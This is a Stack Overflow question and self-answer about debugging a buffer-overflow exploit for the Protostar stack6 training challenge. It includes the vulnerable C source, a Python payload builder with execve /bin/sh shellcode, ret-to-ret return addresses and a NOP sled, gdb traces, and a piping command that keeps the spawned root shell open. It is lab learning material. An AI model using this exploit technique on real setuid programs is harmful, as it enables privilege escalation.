Protostar Stack6 - Segfault for no reason?

1

So I am doing the protostar challenges from exploit exercises and I'm completely stumped. Protostar runs on a virtual machine emulating an i686 processor.

uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

The challenge involves injecting a malformed user provided input to allow root access. The executable has the setuid flag set and has owner root. I provide my input via a named pipe in /tmp/mypipe

in gdb I run

set disassembly-flavor intel
run < /tmp/mypipe

When I set my breakpoint at the end of the getpath() function on the RET instruction and single step forward, everything works as expected. My shellcode gets executed. I verrified that the instructions are exactly the same as the documentation at the source. (Using a stop hook with x/2i $eip and single stepping through the assembler). Everything works just fine down the noop sled and the first few instructions, up until interrupt 0x80 (syscall) (0xcd 0x80).
The funny thing is gdb announces:

Executing new program: /bin/dash

Program received signal SIGSEGV, Segmentation fault.

After that nothing works anymore. Running it again with the same input just segfaults. Trying to disassemble main yields No symbol "main" in current context.
Once I close GDB and start again, it gives the same behavior as before. No shell is actually ever interactable. Using the same payload from the command line simply yields a segfault.

I have tried numerous payloads made with msfvenom, all for x86 linux with different encoders, prohibiting 0x00, 0x0a and 0x0d. I tried putting small payloads into the buffer, i tried putting them behind the return address in the main stackframe and beyond. Everything I tried gives me a segfault. I'm confused as to why this isn't working. Has it perhaps something to do with overwriting EBP on the stack and then returning twice? But LEAVE isn't executed twice, only RET.

What's going on?

The code for the challenge is this:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;
  printf("input path please: "); fflush(stdout);
  gets(buffer);

  ret = __builtin_return_address(0);
  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Jumping to the stack is prohibited by program logic. So obviously you must jump somewhere else. My idea was to jump to the RET instruction at the end of getpath(), basically popping another address into EIP from the stack that is not checked by program logic.

It turns out there are 80B from the top of the stack where buf starts to the first byte of the return pointer on the stack.

My code for generating the malformed input looks like this.

# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b"" 
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"

# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B

padding = "A"*80

# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40

# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]

# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]

print (padding + eip + eip2 + noop + buf)

Note: eip = eip[::-1] reverses the byte order because intel x86 is little endian.

Edit:

Here is a more detailed state of the machine.

disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:   leave  
0x080484f9 <getpath+117>:   ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe 
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9  0xbffff6b0  0x90909090  0x90909090
0xbffff6ac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6bc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6cc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6dc: 0x90909090  0x90909090  0x6850c031  0x68732f2f
0xbffff6ec: 0x69622f68  0x89e3896e  0xb0c289c1  0x3180cd0b
0xbffff6fc: 0x80cd40c0  0x00000000  0x00000000  0x00000001
0xbffff70c: 0x080483d0  0x00000000  0xb7ff6210  0xb7eadb9b

As you can see the function skipped the bzzz + exit because the return address passed the check. The next instruction is ret which returns to 0x080484f9 (top of stack at $esp). Which is ret.

One step forward

(gdb) stepi
eip            0x80484f9    0x80484f9 <getpath+117>
esp            0xbffff6a0   0xbffff6a0
eax            0xbe 190
ebx            0xb7fd7ff4   -1208123404
0x80484f9 <getpath+117>:    ret    
0x80484fa <main>:   push   ebp
0xbffff6a0: 0xbffff6b0  0x90909090  0x90909090  0x90909090
0xbffff6b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  in stack6/stack6.c

and another

Cannot access memory at address 0x41414145

I'm not sure what that's about or why the hook-stop didn't fire or where the 0x45 came from, but

(gdb) i r
eax            0xbe 190
ecx            0x0  0
edx            0xb7fd9340   -1208118464
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6a4   0xbffff6a4
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0xbffff6b0   0xbffff6b0
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

As you can see EIP points to the noop sled.

(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb

from there it executes along nicely up to int 80 where it segfaults.

(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff6fd: inc    eax
0xbffff6fe: int    0x80
(gdb) 
eip            0xbffff6f9   0xbffff6f9
esp            0xbffff698   0xbffff698
eax            0xb  11
ebx            0xbffff698   -1073744232
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff698: 0x6e69622f  0x68732f2f  0x00000000  0x90909090
0xbffff6a8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6b8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f9 in ?? ()
(gdb) 
Executing new program: /bin/dash

Program received signal SIGSEGV, Segmentation fault.
eip            0x805925e    0x805925e
esp            0xbffffcd0   0xbffffcd0
eax            0x3e9    1001
ebx            0xb7fd7ff4   -1208123404
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0xbffffcd0: 0x00000011  0x00000000  0x00000000  0xbffffd70
0xbffffce0: 0xbffffd28  0xbffffd34  0x00000000  0xb7fff8f8
0xbffffcf0: 0x00000000  0xb7ffc3e1  0xb7ffb8bc  0x08048bdd
0xbffffd00: 0x00000000  0xb7fe3494  0xbffffd44  0xb7fe3612
0x0805925e in ?? ()

(gdb) x /5i 0x805925e
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0x8059262:  je     0x8059295
0x8059264:  lea    esi,[esi+eiz*1+0x0]
0x8059268:  mov    DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax            0x3e9    1001
ecx            0xa  10
edx            0x805c340    134595392
ebx            0xb7fd7ff4   -1208123404
esp            0xbffffcd0   0xbffffcd0
ebp            0xbffffd98   0xbffffd98
esi            0x0  0
edi            0x0  0
eip            0x805925e    0x805925e
eflags         0x210282 [ SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

Edit 2:

I ran the exploit from a file instead of a pipe. I get an odd result. I still don't know what to make of it.

(gdb) run < /tmp/exploit 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
                1�@̀
Executing new program: /bin/dash

Program exited normally.
Error while running hook_stop:
The program has no registers now.
c
assembly
x86
gdb
buffer-overflow
asked on Stack Overflow Aug 25, 2020 by FalcoGer • edited Aug 25, 2020 by FalcoGer

1 Answer

1

When piping or routing input into the program then stdin basically ceases to exist when the providing source is at the end of it's output or terminates. Therefore you don't get a shell.

Disassemble main didn't work anymore at the instances with that behavior because the program being loaded by gdb no longer is stack6 but /bin/sh. Executing Run again would execute /bin/sh.

I have no idea why the program segfaulted when the piped input ran out. But with the file the interrupt 80 did not segfault and afterwards it ran interrupt 80 with eax = 1 calling exit(ebx), leading to normal termination.

To execute the exploit, you need shell code that doesn't need stdin input, such as a metasploit reverse tcp bind shell or you need to provide continuous input after the exploit was executed. For example like this:

(cat /tmp/exploit; cat) | ./stack6

which will first input the exploit into the program and then ask the user for more input on stdin (cat) and pipe that to the program afterwards.

answered on Stack Overflow Aug 25, 2020 by FalcoGer • edited Aug 26, 2020 by FalcoGer

User contributions licensed under CC BY-SA 3.0